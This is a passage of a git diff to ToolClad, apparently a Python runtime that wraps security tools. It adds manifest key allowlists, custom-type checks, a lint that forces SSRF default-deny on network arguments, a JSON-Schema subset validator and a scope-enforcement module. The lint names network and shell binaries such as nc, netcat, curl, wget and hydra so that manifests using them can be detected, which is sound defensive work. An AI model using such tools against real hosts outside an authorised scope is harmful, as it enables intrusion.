+250,13 @@ class BrowserStateDef: fields: List[str] = field(default_factory=list) +@dataclass +class BrowserDefaultsDef: + """Per-command defaults for browser mode from [browser.defaults].""" + + extract_mode: str = "" + + @dataclass class BrowserDef: """Browser mode definition from [browser] section.""" @@ -208,6 +272,7 @@ class BrowserDef: scope: Optional[BrowserScopeDef] = None commands: Dict[str, BrowserCommandDef] = field(default_factory=dict) state: Optional[BrowserStateDef] = None + defaults: Optional[BrowserDefaultsDef] = None @dataclass @@ -225,6 +290,9 @@ class Manifest: session: Optional[SessionDef] = None browser: Optional[BrowserDef] = None source_path: str = "" + # Custom types from the project ``toolclad.toml`` (or the loader's + # override). The executor validates custom-typed arguments with them. + custom_types: Dict[str, "CustomTypeDef"] = field(default_factory=dict) @property def args_sorted(self) -> List[ArgDef]: @@ -249,6 +317,17 @@ def _parse_evidence(data: Dict[str, Any]) -> EvidenceDef: output_dir=data.get("output_dir", ""), capture=data.get("capture", False), hash=data.get("hash", "sha256"), + screenshots=bool(data.get("screenshots", False)), + ) + + +def _parse_limits(data: Dict[str, Any]) -> LimitsDef: + return LimitsDef( + nproc=data.get("nproc"), + nofile=data.get("nofile"), + fsize_bytes=data.get("fsize_bytes"), + address_space_bytes=data.get("address_space_bytes"), + cpu_seconds=data.get("cpu_seconds"), ) @@ -262,11 +341,17 @@ def _parse_tool(data: Dict[str, Any]) -> ToolMeta: risk_tier=data.get("risk_tier", "low"), human_approval=data.get("human_approval", False), dispatch=data.get("dispatch", "exec"), + # Left empty when absent; the loader derives it from the backend. + mode=str(data.get("mode", "")), + network_egress=bool(data.get("network_egress", False)), + allow_interpreter=bool(data.get("allow_interpreter", False)), ) if "cedar" in data: meta.cedar = _parse_cedar(data["cedar"]) if "evidence" in data: meta.evidence = _parse_evidence(data["evidence"]) + if "limits" in data: + meta.limits = _parse_limits(data["limits"]) return meta @@ -288,6 +373,9 @@ def _parse_arg(name: str, data: Dict[str, Any]) -> ArgDef: sanitize=data.get("sanitize", []), schemes=data.get("schemes", []), scope_check=data.get("scope_check", False), + block_internal=bool(data.get("block_internal", False)), + allow_leading_dash=bool(data.get("allow_leading_dash", False)), + allow_whitespace=bool(data.get("allow_whitespace", False)), ) @@ -299,13 +387,21 @@ def _parse_command(data: Dict[str, Any]) -> CommandDef: when=cond_data.get("when", ""), template=cond_data.get("template", ""), ) + exec_list = data.get("exec", []) + if not isinstance(exec_list, list) or not all(isinstance(e, str) for e in exec_list): + raise ValueError("[command] exec must be an array of strings") + template = data.get("template", "") + if not isinstance(template, str): + raise ValueError("[command] template must be a string") return CommandDef( - template=data.get("template", ""), - exec=data.get("exec", []), + template=template, + exec=list(exec_list), executor=data.get("executor", ""), defaults=data.get("defaults", {}), mappings=data.get("mappings", {}), conditionals=conditionals, + end_of_options=str(data.get("end_of_options", "")), + exec_was_declared=bool(exec_list), ) @@ -315,6 +411,7 @@ def _parse_output(data: Dict[str, Any]) -> OutputDef: parser=data.get("parser", ""), envelope=data.get("envelope", True), schema=data.get("schema", {}), + max_bytes=data.get("max_bytes", 8_388_608), ) @@ -359,6 +456,14 @@ def _parse_session_command(data: Dict[str, Any]) -> SessionCommandDef: ) +def _parse_session_child_detection(data: Dict[str, Any]) -> SessionChildDetectionDef: + return SessionChildDetectionDef( + pattern=data.get("pattern", ""), + type=data.get("type", ""), + manifest=data.get("manifest", ""), + ) + + def _parse_session(data: Dict[str, Any]) -> SessionDef: session = SessionDef( startup_command=data.get("startup_command", ""), @@ -375,6 +480,8 @@ def _parse_session(data: Dict[str, Any]) -> SessionDef: for cmd_name, cmd_data in data["commands"].items(): commands[cmd_name] = _parse_session_command(cmd_data) session.commands = commands + if "child_detection" in data: + session.child_detection = _parse_session_child_detection(data["child_detection"]) return session @@ -404,6 +511,12 @@ def _parse_browser_state(data: Dict[str, Any]) -> BrowserStateDef: ) +def _parse_browser_defaults(data: Dict[str, Any]) -> BrowserDefaultsDef: + return BrowserDefaultsDef( + extract_mode=data.get("extract_mode", ""), + ) + + def _parse_browser(data: Dict[str, Any]) -> BrowserDef: browser = BrowserDef( engine=data.get("engine", "cdp"), @@ -424,6 +537,8 @@ def _parse_browser(data: Dict[str, Any]) -> BrowserDef: browser.commands = commands if "state" in data: browser.state = _parse_browser_state(data["state"]) + if "defaults" in data: + browser.defaults = _parse_browser_defaults(data["defaults"]) return browser @@ -440,10 +555,82 @@ class CustomTypeDef: max_float: Optional[float] = None +#: Environment variable naming the project config file explicitly. +CONFIG_FILE_ENV = "TOOLCLAD_CONFIG_FILE" + +#: Keys allowed inside ``[types.]`` of ``toolclad.toml``. +CUSTOM_TYPE_KEYS: FrozenSet[str] = frozenset({ + "base", "allowed", "pattern", "min", "max", "min_float", "max_float", +}) + +#: Built-in argument types. Kept in sync with the validator's handler table +#: (the validator imports this module, so the list lives here). +BUILTIN_TYPES: FrozenSet[str] = frozenset({ + "string", "integer", "number", "port", "boolean", "enum", "scope_target", + "url", "path", "ip_address", "cidr", "msf_options", "credential_file", + "duration", "regex_match", +}) + + +def parse_custom_types(data: Mapping[str, Any], source: str = "toolclad.toml") -> Dict[str, CustomTypeDef]: + """Build custom type definitions from a parsed ``toolclad.toml`` table. + + Strict: the only top-level key is ``types``, each ``[types.]`` may use + only ``CUSTOM_TYPE_KEYS``, and ``base`` must be a built-in type (a custom + type cannot be based on another custom type). Raises ``ValueError``. + """ + for key in data: + if key != "types": + raise ValueError(f"unknown key '{key}' in {source}") + raw = data.get("types", {}) + if not isinstance(raw, dict): + raise ValueError(f"[types] in {source} must be a table") + types: Dict[str, CustomTypeDef] = {} + for name, tdef in raw.items(): + if not isinstance(tdef, dict): + raise ValueError(f"[types.{name}] in {source} must be a table") + for key in tdef: + if key not in CUSTOM_TYPE_KEYS: + raise ValueError(f"unknown key 'types.{name}.{key}' in {source}") + if name in BUILTIN_TYPES: + raise ValueError(f"custom type '{name}' in {source} shadows a built-in type") + base = tdef.get("base", "") + if base not in BUILTIN_TYPES: + raise ValueError( + f"custom type '{name}' in {source} has invalid base type '{base}' " + "(the base must be a built-in type)" + ) + allowed = tdef.get("allowed", []) + if not isinstance(allowed, list) or not all(isinstance(a, str) for a in allowed): + raise ValueError(f"custom type '{name}' in {source}: allowed must be a list of strings") + pattern = tdef.get("pattern", "") + if not isinstance(pattern, str): + raise ValueError(f"custom type '{name}' in {source}: pattern must be a string") + for key in ("min", "max"): + v = tdef.get(key) + if v is not None and (isinstance(v, bool) or not isinstance(v, int)): + raise ValueError(f"custom type '{name}' in {source}: {key} must be an integer") + for key in ("min_float", "max_float"): + v = tdef.get(key) + if v is not None and (isinstance(v, bool) or not isinstance(v, (int, float))): + raise ValueError(f"custom type '{name}' in {source}: {key} must be a number") + types[name] = CustomTypeDef( + base=base, + allowed=list(allowed), + pattern=pattern, + min=tdef.get("min"), + max=tdef.get("max"), + min_float=tdef.get("min_float"), + max_float=tdef.get("max_float"), + ) + return types + + def load_custom_types(path: str) -> Dict[str, CustomTypeDef]: """Load custom type definitions from a toolclad.toml file. - Returns a dict mapping type name to CustomTypeDef. + Returns a dict mapping type name to CustomTypeDef; an absent file yields + no types. The file is checked strictly (see :func:`parse_custom_types`). """ file_path = Path(path) if not file_path.exists(): @@ -451,23 +638,314 @@ def load_custom_types(path: str) -> Dict[str, CustomTypeDef]: with open(file_path, "rb") as f: data = tomllib.load(f) + return parse_custom_types(data, str(file_path)) - types = {} - for name, tdef in data.get("types", {}).items(): - types[name] = CustomTypeDef( - base=tdef.get("base", ""), - allowed=tdef.get("allowed", []), - pattern=tdef.get("pattern", ""), - min=tdef.get("min"), - max=tdef.get("max"), - min_float=tdef.get("min_float"), - max_float=tdef.get("max_float"), - ) - return types + +def discover_custom_types( + manifest_dir: Optional[Any] = None, +) -> Dict[str, CustomTypeDef]: + """Find and load the project ``toolclad.toml`` for a manifest directory. + + ``TOOLCLAD_CONFIG_FILE`` wins when set (an unreadable file is an error); + otherwise ``toolclad.toml`` is searched upward from ``manifest_dir`` + (``None``: the cwd) to the filesystem root. Absent means no custom types. + """ + import os + + env = os.environ.get(CONFIG_FILE_ENV) + if env: + try: + with open(env, "rb") as f: + data = tomllib.load(f) + except OSError as exc: + raise ValueError(f"{CONFIG_FILE_ENV}={env} could not be read: {exc}") from None + return parse_custom_types(data, env) + start = Path(manifest_dir) if manifest_dir else Path.cwd() + start = start.resolve() + for directory in (start, *start.parents): + candidate = directory / "toolclad.toml" + if candidate.is_file(): + return load_custom_types(str(candidate)) + return {} + + +def _check_arg_types( + manifest: "Manifest", custom_types: Mapping[str, CustomTypeDef] +) -> None: + """Every argument type (``[args.*]`` and the session/browser command + arguments) must be built-in or a known custom type.""" + for arg in _iter_args(manifest): + if arg.type not in BUILTIN_TYPES and arg.type not in custom_types: + raise ValueError(f"unknown type '{arg.type}' for argument '{arg.name}'") + + +# --------------------------------------------------------------------------- +# Egress lint +# --------------------------------------------------------------------------- +# +# A tool that connects to a network destination derived from its arguments +# must default-deny internal / SSRF targets. The question "is this an egress +# tool" is answered by the manifest, not guessed from a value at call time: +# ``tool.network_egress = true``, an ``[http]`` or ``[browser]`` backend, or a +# command whose program is one of the known egress binaries. For such a +# manifest every network-typed argument must set ``block_internal = true``. +# +# An ``executor``-only manifest cannot be inspected for a binary — the script +# is opaque — so it is an egress manifest only through ``network_egress``, +# ``[http]`` or ``[browser]``. The escape hatch is the author's +# responsibility: declare ``network_egress = true`` when the script reaches +# the network. + +# Basenames of binaries that connect to a destination taken from their +# arguments. Identical to the list in the other runtimes; not expanded here. +EGRESS_BINARIES: FrozenSet[str] = frozenset({ + "curl", "wget", "nmap", "nc", "ncat", "netcat", "masscan", "telnet", "ssh", + "ping", "fping", "httpie", "http", "wfuzz", "ffuf", "hydra", "nikto", +}) + +# Argument types whose value names a network destination. +NETWORK_TARGET_TYPES: FrozenSet[str] = frozenset({ + "scope_target", "url", "ip_address", "cidr", +}) + + +def _command_basename(program: str) -> str: + """The lowercase final path component of ``program``, splitting on both + ``/`` and ``\\`` as the Rust runtime does.""" + return program.replace("\\", "/").rsplit("/", 1)[-1].lower() + + +def _template_first_token(template: str) -> str: + """The program a legacy template invokes. The template is tokenized the + same way the executor will; a template the tokenizer refuses (it is + reported when the command is compiled) falls back to whitespace + splitting so the lint still sees a quoted or escaped program name.""" + from toolclad.executor import tokenize_template # the executor imports this module + + try: + tokens = tokenize_template(template) + except ValueError: + tokens = template.split() + return tokens[0] if tokens else "" + + +def is_egress_manifest(manifest: Manifest) -> bool: + """True if the manifest declares or implies network egress: the + ``network_egress`` flag, an ``[http]`` or ``[browser]`` backend, or a + program (``tool.binary``, ``exec[0]`` or the template's first token) + whose basename is in ``EGRESS_BINARIES``.""" + if manifest.tool.network_egress or manifest.http is not None or manifest.browser is not None: + return True + programs: List[str] = [] + if manifest.tool.binary: + programs.append(manifest.tool.binary) + if manifest.command.exec: + programs.append(manifest.command.exec[0]) + if manifest.command.template: + first = _template_first_token(manifest.command.template) + if first: + programs.append(first) + return any(_command_basename(p) in EGRESS_BINARIES for p in programs) + + +def _iter_args(manifest: Manifest) -> Iterator[ArgDef]: + """Every argument definition in the manifest: ``[args.*]``, then the + per-command arguments of ``[session]`` and ``[browser]`` (a browser + manifest carries its ``url`` arguments under its commands).""" + yield from manifest.args.values() + if manifest.session is not None: + for command in manifest.session.commands.values(): + yield from command.args.values() + if manifest.browser is not None: + for command in manifest.browser.commands.values(): + yield from command.args.values() + + +def _lint_egress( + manifest: Manifest, custom_types: Optional[Mapping[str, CustomTypeDef]] = None +) -> None: + """Refuse an egress manifest whose network-typed arguments do not set + ``block_internal``. With ``custom_types`` available, an argument whose + custom type has a network base is refused as well: a custom type cannot + carry ``block_internal``, so it can never satisfy the rule.""" + if not is_egress_manifest(manifest): + return + for arg in _iter_args(manifest): + if arg.type in NETWORK_TARGET_TYPES: + if not arg.block_internal: + raise ValueError( + f"argument '{arg.name}' is a network target for an egress binary " + "but block_internal is not set; set block_internal = true to " + "default-deny internal/SSRF targets" + ) + elif custom_types and arg.type in custom_types: + base = custom_types[arg.type].base + if base in NETWORK_TARGET_TYPES: + raise ValueError( + f"argument '{arg.name}' uses custom type '{arg.type}' as a " + f"network target; custom types cannot carry block_internal — " + f"use the built-in {base} type" + ) + + +def validate_manifest_with_custom_types( + manifest: Manifest, custom_types: Mapping[str, CustomTypeDef] +) -> None: + """Re-run the egress lint on a loaded manifest with the custom types of + a ``toolclad.toml`` in hand, so an argument that routes a network target + through a custom type is refused at load rather than at call time. + The loaders already do this with the discovered types; this entry point + serves embedders holding a manifest built some other way. Raises ``ValueError`` with the same wording as + the load-time lint.""" + _lint_egress(manifest, custom_types) + + +# --------------------------------------------------------------------------- +# Manifest key allowlist +# --------------------------------------------------------------------------- +# +# One entry per section, in the order of the normative key table shared by +# every ToolClad runtime. ```` stands for an author-chosen name (an +# argument, conditional or command) whose *contents* are checked against that +# entry. A key that is not listed is refused at load with +# ``unknown key '
.' in manifest``; the ``validate`` CLI's +# ``--allow-unknown-keys`` downgrades that to a warning on stderr. Library +# loading is always strict. + +_ARG_KEYS: FrozenSet[str] = frozenset({ + "position", "required", "type", "description", "default", "allowed", + "pattern", "sanitize", "min", "max", "min_float", "max_float", "clamp", + "schemes", "scope_check", "block_internal", "allow_leading_dash", + "allow_whitespace", +}) + +MANIFEST_KEYS: Dict[str, FrozenSet[str]] = { + # Top-level sections. + "": frozenset({ + "tool", "args", "command", "output", "http", "mcp", "session", + "browser", + }), + "tool": frozenset({ + "name", "version", "binary", "description", "timeout_seconds", + "risk_tier", "human_approval", "dispatch", "mode", "network_egress", + "allow_interpreter", "cedar", "evidence", "limits", + }), + "tool.cedar": frozenset({"resource", "action"}), + "tool.evidence": frozenset({"output_dir", "capture", "hash", "screenshots"}), + "tool.limits": frozenset({ + "nproc", "nofile", "fsize_bytes", "address_space_bytes", "cpu_seconds", + }), + "args.": _ARG_KEYS, + "command": frozenset({ + "template", "exec", "executor", "defaults", "mappings", "conditionals", + "end_of_options", + }), + "command.conditionals.": frozenset({"when", "template"}), + "output": frozenset({"format", "parser", "envelope", "schema", "max_bytes"}), + "http": frozenset({ + "method", "url", "headers", "body_template", "success_status", + "error_status", + }), + "mcp": frozenset({"server", "tool", "field_map"}), + "session": frozenset({ + "startup_command", "ready_pattern", "startup_timeout_seconds", + "idle_timeout_seconds", "session_timeout_seconds", "max_interactions", + "interaction", "commands", "child_detection", + }), + "session.interaction": frozenset({ + "input_sanitize", "output_max_bytes", "output_wait_ms", + }), + "session.commands.": frozenset({ + "pattern", "description", "risk_tier", "human_approval", + "extract_target", "args", + }), + "session.commands..args.": _ARG_KEYS, + "session.child_detection": frozenset({"pattern", "type", "manifest"}), + "browser": frozenset({ + "engine", "headless", "connect", "extract_mode", + "startup_timeout_seconds", "session_timeout_seconds", + "idle_timeout_seconds", "max_interactions", "scope", "commands", + "state", "defaults", + }), + "browser.defaults": frozenset({"extract_mode"}), + "browser.scope": frozenset({ + "allowed_domains", "blocked_domains", "allow_external", + }), + "browser.commands.": frozenset({ + "description", "risk_tier", "human_approval", "args", + }), + "browser.commands..args.": _ARG_KEYS, + "browser.state": frozenset({"fields"}), +} + +# Tables whose keys are chosen by the manifest author; they are never +# descended into. ``[command.defaults]`` names variables, ``[command.mappings]`` +# names arguments and their values, ``[http.headers]`` names header fields, +# ``[mcp.field_map]`` names remote fields and ``[output.schema]`` is JSON +# Schema. +_OPEN_TABLES: FrozenSet[str] = frozenset({ + "command.defaults", "command.mappings", "http.headers", "mcp.field_map", + "output.schema", +}) + +_MODES: Tuple[str, ...] = ("oneshot", "session", "browser") + + +def _walk_keys( + table: Mapping[str, Any], path: str = "", spec: str = "" +) -> Iterator[Tuple[str, str, str, bool]]: + """Yield ``(spec, dotted_path, key, known)`` for every key in ``table``. + + ``spec`` is the ``MANIFEST_KEYS`` entry the key was checked against and + ``dotted_path`` its concrete location (``args.target.block_internal``). + Only known, closed tables are descended into. + """ + allowed = MANIFEST_KEYS[spec] + for key, value in table.items(): + full = f"{path}.{key}" if path else key + known = key in allowed + yield spec, full, key, known + if not known or not isinstance(value, dict): + continue + child = f"{spec}.{key}" if spec else key + if child in _OPEN_TABLES: + continue + if f"{child}." in MANIFEST_KEYS: + for name, entry in value.items(): + if isinstance(entry, dict): + yield from _walk_keys(entry, f"{full}.{name}", f"{child}.") + elif child in MANIFEST_KEYS: + yield from _walk_keys(value, full, child) + + +def find_unknown_keys(data: Mapping[str, Any]) -> List[str]: + """Return every key of a parsed manifest that ``MANIFEST_KEYS`` does not + list, as sorted dotted paths (``tool.tiemout_seconds``).""" + return sorted(path for _, path, _, known in _walk_keys(data) if not known) + + +@dataclass(frozen=True) +class LoadOptions: + """Options for :func:`load_manifest_with_options`. + + ``allow_unknown_keys`` backs the ``validate`` CLI's ``--allow-unknown-keys`` + flag: an unknown manifest key is reported as a warning on stderr instead of + failing the load. It is the only relaxation the loader offers; + :func:`load_manifest` is always strict. + + ``custom_types`` overrides discovery of ``toolclad.toml`` for embedders + that already hold the custom types (``None``: discover). + """ + + allow_unknown_keys: bool = False + custom_types: Optional[Mapping[str, "CustomTypeDef"]] = None def load_manifest(path: str) -> Manifest: - """Parse a .clad.toml file and return a Manifest. + """Parse a .clad.toml file and return a Manifest (strict). + + Same as :func:`load_manifest_with_options` with default options: an + unknown key anywhere in the manifest is a load error. Args: path: Filesystem path to the .clad.toml file. @@ -477,9 +955,34 @@ def load_manifest(path: str) -> Manifest: Raises: FileNotFoundError: If the file does not exist. - ValueError: If required sections are missing. + ValueError: If the manifest contains a key the allowlist does not + know, required sections are missing, ``tool.mode`` is not one of + ``oneshot`` / ``session`` / ``browser``, a command template is + malformed (placeholder inside quotes, unbalanced quote), a + placeholder names no declared variable, or ``end_of_options`` is + not ``"--"``. tomllib.TOMLDecodeError: If the file is not valid TOML. """ + return load_manifest_with_options(path, LoadOptions()) + + +def load_manifest_with_options( + path: str, options: Optional[LoadOptions] = None +) -> Manifest: + """Parse a .clad.toml file and return a Manifest. + + Args: + path: Filesystem path to the .clad.toml file. + options: Loader options; ``None`` means strict (the default). + + Returns: + A fully populated Manifest dataclass. + + Raises: + See :func:`load_manifest`. With ``options.allow_unknown_keys`` set, + unknown keys are printed as warnings instead of raised. + """ + options = options or LoadOptions() file_path = Path(path) if not file_path.exists(): raise FileNotFoundError(f"Manifest not found: {path}") @@ -487,10 +990,48 @@ def load_manifest(path: str) -> Manifest: with open(file_path, "rb") as f: data = tomllib.load(f) + custom_types = options.custom_types + if custom_types is None: + custom_types = discover_custom_types(file_path.resolve().parent) + return _build_manifest( + data, options, custom_types, str(file_path.resolve()), label=path + ) + + +def load_manifest_from_str( + source: str, options: Optional[LoadOptions] = None +) -> Manifest: + """Parse a manifest from TOML source text (strict by default). + + There is no file, so ``toolclad.toml`` is not discovered: custom types + come only from ``options.custom_types``. Raises as :func:`load_manifest`. + """ + options = options or LoadOptions() + data = tomllib.loads(source) + custom_types = options.custom_types if options.custom_types is not None else {} + return _build_manifest(data, options, custom_types, "", label="") + + +def _build_manifest( + data: Dict[str, Any], + options: LoadOptions, + custom_types: Mapping[str, CustomTypeDef], + source_path: str, + label: str, +) -> Manifest: + """Parse and validate a decoded manifest table.""" + unknown = find_unknown_keys(data) + if unknown: + messages = [f"unknown key '{key}' in manifest" for key in unknown] + if not options.allow_unknown_keys: + raise ValueError("; ".join(messages)) + for message in messages: + sys.stderr.write(f"warning: {message}\n") + if "tool" not in data: - raise ValueError(f"Manifest {path} is missing required [tool] section") + raise ValueError(f"Manifest {label} is missing required [tool] section") - manifest = Manifest(source_path=str(file_path.resolve())) + manifest = Manifest(source_path=source_path, custom_types=dict(custom_types)) manifest.tool = _parse_tool(data["tool"]) @@ -516,10 +1057,35 @@ def load_manifest(path: str) -> Manifest: if "browser" in data: manifest.browser = _parse_browser(data["browser"]) + if "mode" not in data["tool"]: + manifest.tool.mode = _derive_mode(manifest) + + _check_arg_types(manifest, manifest.custom_types) _validate_manifest(manifest) + _compile_command(manifest) return manifest +def _derive_mode(manifest: Manifest) -> str: + """Backend mode implied by which backend section is present.""" + if manifest.session is not None: + return "session" + if manifest.browser is not None: + return "browser" + return "oneshot" + + +def _compile_command(manifest: Manifest) -> None: + """Tokenize a legacy template into exec and check every placeholder. + + Emits the template deprecation warning once per load. Deferred import: + the executor module imports this one. + """ + from toolclad.executor import compile_command + + compile_command(manifest, warn=True) + + def _validate_manifest(manifest: Manifest) -> None: """Cross-section consistency checks. Mirrors the Rust validator.""" valid_dispatch = ("exec", "callback") @@ -529,6 +1095,16 @@ def _validate_manifest(manifest: Manifest) -> None: f"{', '.join(valid_dispatch)}" ) + if manifest.tool.mode not in _MODES: + raise ValueError( + f"invalid mode '{manifest.tool.mode}', must be one of: " + f"{', '.join(_MODES)}" + ) + + timeout = manifest.tool.timeout_seconds + if isinstance(timeout, bool) or not isinstance(timeout, int) or timeout <= 0: + raise ValueError("timeout_seconds must be greater than zero") + is_callback = manifest.tool.dispatch == "callback" if not is_callback: cmd = manifest.command @@ -552,3 +1128,90 @@ def _validate_manifest(manifest: Manifest) -> None: "manifest is missing [output] block " "(or set tool.dispatch = \"callback\" for validator-only manifests)" ) + + # Egress safety: refuse a network target that is not default-deny on a + # manifest that reaches the network, including through a custom type. + _lint_egress(manifest, manifest.custom_types) + _check_scope_check_types(manifest) + _check_arg_defaults(manifest) + _check_output(manifest) + if manifest.http is not None: + from toolclad.executor import check_http_url + + check_http_url(manifest) + + +BUILTIN_PARSERS = ( + "builtin:json", "builtin:jsonl", "builtin:csv", "builtin:xml", "builtin:text", +) + +MAX_OUTPUT_BYTES_LIMIT = 1 << 30 + + +def _check_output(manifest: Manifest) -> None: + """``[output]``: ``max_bytes`` is an integer in 1..=1 GiB, and the parser + is one of the builtins (an explicit ``parser``, else the one implied by + ``format``). Custom parsers are refused rather than silently ignored.""" + output = manifest.output + if output is None: + return + mb = output.max_bytes + if isinstance(mb, bool) or not isinstance(mb, int) or not 1 <= mb <= MAX_OUTPUT_BYTES_LIMIT: + raise ValueError( + f"[output] max_bytes must be an integer between 1 and {MAX_OUTPUT_BYTES_LIMIT}, " + f"got {mb!r}" + ) + parser = output.parser or f"builtin:{output.format}" + if parser not in BUILTIN_PARSERS: + if output.parser: + raise ValueError( + "custom output parsers are not supported by the reference runtimes " + f'(parser = "{output.parser}")' + ) + raise ValueError( + f"[output] format '{output.format}' has no builtin parser " + f"(expected one of: json, jsonl, csv, xml, text)" + ) + if not isinstance(output.schema, dict): + raise ValueError("[output.schema] must be a table") + + +def _check_scope_check_types(manifest: Manifest) -> None: + """``scope_check`` is honored only on ``scope_target``, ``url``, + ``ip_address`` and ``cidr``; anywhere else it is a load error rather than + a flag that silently does nothing.""" + from toolclad.scope import SCOPE_CHECK_TYPES + + for arg in _iter_args(manifest): + if arg.scope_check and arg.type not in SCOPE_CHECK_TYPES: + raise ValueError( + f"argument '{arg.name}': scope_check is not supported for type '{arg.type}'" + ) + + +def _check_arg_defaults(manifest: Manifest) -> None: + """Validate every declared ``default`` through the strict entry point, so + a default that fails its own type is a load error naming the argument + instead of a confusing refusal (or an unvalidated substitution) at call + time. The scope step is deferred to the call, where the scope file is + known. A custom-typed argument is validated through its custom type.""" + from toolclad.validator import ValidationError, _resolve_custom, _run_validation + + for arg in _iter_args(manifest): + if arg.default is None: + continue + try: + resolved = _resolve_custom(arg, manifest.custom_types) + _run_validation(resolved, _default_text(arg.default), False, check_scope=False) + except ValidationError as exc: + raise ValueError( + f"argument '{arg.name}': default {arg.default!r} is invalid: {exc}" + ) from None + + +def _default_text(value: Any) -> str: + """The string form a default is validated and substituted as. A TOML + boolean renders as ``true``/``false``, not Python's ``True``.""" + if isinstance(value, bool): + return "true" if value else "false" + return str(value) diff --git a/python/toolclad/schema.py b/python/toolclad/schema.py new file mode 100644 index 0000000..82f80d3 --- /dev/null +++ b/python/toolclad/schema.py @@ -0,0 +1,181 @@ +"""A small JSON-Schema subset validator for ``[output.schema]``. + +No dependency: the runtime must check parsed output against the declared +schema every time, so validation cannot depend on an optional package being +installed. Supported keywords: + +``type`` (a name or a list of names among ``object array string number +integer boolean null``), ``properties``, ``required``, +``additionalProperties`` (boolean only), ``items`` (a single sub-schema), +``enum``, ``minimum`` / ``maximum`` (inclusive), ``minLength`` / +``maxLength`` (code points) and ``pattern`` (anchored as ``^(?:pat)\\Z``, +like every other pattern in ToolClad). Unknown keywords are ignored. + +Errors carry a JSON-pointer path: ``/hosts/0/port: expected integer, got +string``. The document root renders as ``/``. The first failure in document +order is reported. +""" + +from __future__ import annotations + +import re +from typing import Any, List, Optional + +from toolclad.validator import _anchor_pattern + +__all__ = ["SchemaError", "validate_schema", "schema_error"] + + +class SchemaError(Exception): + """A value does not satisfy the schema. ``str()`` is ``: ``.""" + + def __init__(self, path: str, message: str) -> None: + self.path = path or "/" + self.message = message + super().__init__(f"{self.path}: {message}") + + +def _type_name(value: Any) -> str: + if value is None: + return "null" + if isinstance(value, bool): + return "boolean" + if isinstance(value, int): + return "integer" + if isinstance(value, float): + return "number" + if isinstance(value, str): + return "string" + if isinstance(value, list): + return "array" + if isinstance(value, dict): + return "object" + return type(value).__name__ + + +def _is_number(value: Any) -> bool: + return isinstance(value, (int, float)) and not isinstance(value, bool) + + +def _matches_type(value: Any, name: str) -> bool: + if name == "null": + return value is None + if name == "boolean": + return isinstance(value, bool) + if name == "number": + return _is_number(value) + if name == "integer": + # A number with no fractional part: 30.0 from a float-typed parser + # is an integer, as in JSON Schema. + if isinstance(value, bool): + return False + if isinstance(value, int): + return True + return isinstance(value, float) and value.is_integer() + if name == "string": + return isinstance(value, str) + if name == "array": + return isinstance(value, list) + if name == "object": + return isinstance(value, dict) + return False + + +def _deep_equal(a: Any, b: Any) -> bool: + # JSON equality: true is not 1, and 1 equals 1.0. + if isinstance(a, bool) or isinstance(b, bool): + return isinstance(a, bool) and isinstance(b, bool) and a == b + if _is_number(a) and _is_number(b): + return a == b + if isinstance(a, list) and isinstance(b, list): + return len(a) == len(b) and all(_deep_equal(x, y) for x, y in zip(a, b)) + if isinstance(a, dict) and isinstance(b, dict): + return a.keys() == b.keys() and all(_deep_equal(a[k], b[k]) for k in a) + return type(a) is type(b) and a == b + + +def _escape(token: str) -> str: + return token.replace("~", "~0").replace("/", "~1") + + +def _check(value: Any, schema: Any, path: List[str]) -> None: + if not isinstance(schema, dict): + return + + def fail(message: str) -> None: + raise SchemaError("".join("/" + p for p in path), message) + + if "type" in schema: + wanted = schema["type"] + names = wanted if isinstance(wanted, list) else [wanted] + if not any(isinstance(n, str) and _matches_type(value, n) for n in names): + expected = " or ".join(str(n) for n in names) + fail(f"expected {expected}, got {_type_name(value)}") + + if "enum" in schema and isinstance(schema["enum"], list): + if not any(_deep_equal(value, member) for member in schema["enum"]): + fail("value is not one of the allowed enum values") + + if _is_number(value): + minimum = schema.get("minimum") + if _is_number(minimum) and value < minimum: + fail(f"{value} is less than the minimum {minimum}") + maximum = schema.get("maximum") + if _is_number(maximum) and value > maximum: + fail(f"{value} is greater than the maximum {maximum}") + + if isinstance(value, str): + min_len = schema.get("minLength") + if _is_number(min_len) and len(value) < min_len: + fail(f"string is shorter than minLength {min_len}") + max_len = schema.get("maxLength") + if _is_number(max_len) and len(value) > max_len: + fail(f"string is longer than maxLength {max_len}") + pattern = schema.get("pattern") + if isinstance(pattern, str): + try: + ok = re.match(_anchor_pattern(pattern), value) is not None + except re.error as exc: + fail(f"invalid pattern {pattern!r}: {exc}") + if not ok: + fail(f"string does not match pattern {pattern!r}") + + if isinstance(value, dict): + props = schema.get("properties") + props = props if isinstance(props, dict) else {} + required = schema.get("required") + if isinstance(required, list): + for name in required: + if isinstance(name, str) and name not in value: + fail(f"missing required property '{name}'") + additional = schema.get("additionalProperties") + for key, item in value.items(): + if key in props: + _check(item, props[key], path + [_escape(str(key))]) + elif additional is False: + raise SchemaError( + "".join("/" + p for p in path + [_escape(str(key))]), + "additional property is not allowed", + ) + + if isinstance(value, list) and isinstance(schema.get("items"), dict): + for index, item in enumerate(value): + _check(item, schema["items"], path + [str(index)]) + + +def validate_schema(value: Any, schema: Any) -> None: + """Validate ``value`` against ``schema``. + + Raises: + SchemaError: On the first failure in document order. + """ + _check(value, schema, []) + + +def schema_error(value: Any, schema: Any) -> Optional[str]: + """``": "`` for the first failure, or None when valid.""" + try: + validate_schema(value, schema) + except SchemaError as exc: + return str(exc) + return None diff --git a/python/toolclad/scope.py b/python/toolclad/scope.py new file mode 100644 index 0000000..e98de5b --- /dev/null +++ b/python/toolclad/scope.py @@ -0,0 +1,286 @@ +"""Scope enforcement for arguments that declare ``scope_check = true``. + +A project lists the targets it may touch in ``scope/scope.toml``:: + + [scope] + allowed_domains = ["example.com", "*.example.com"] + allowed_cidrs = ["10.0.1.0/24"] + blocked_domains = [] + blocked_cidrs = [] + +Discovery order (:func:`discover_scope`): + +1. the path in ``TOOLCLAD_SCOPE_FILE`` (absolute or relative to the cwd); + if it is set but cannot be read, that is an error, never a fallback; +2. ``scope/scope.toml`` searched upward from the manifest's directory (or + from the cwd when the manifest did not come from a file), stopping at the + filesystem root. + +Matching (:func:`check_scope`), applied to the host of a ``url`` and to the +value itself for ``scope_target``, ``ip_address`` and ``cidr``: + +* blocked rules are evaluated first and always win; +* ``"example.com"`` matches that host exactly, case-insensitively; + ``"*.example.com"`` matches a strict subdomain at any depth, never the apex + and never a bare string suffix such as ``evil-example.com``; +* an IP matches a CIDR rule when the range contains it; a CIDR subject + matches an allowed range only when it is fully contained in it, and is + refused by a blocked range it overlaps at all; +* no match is a refusal, and ``scope_check`` with no scope file is a refusal + (fail closed). A file whose allowed lists are empty puts nothing in scope. +""" + +from __future__ import 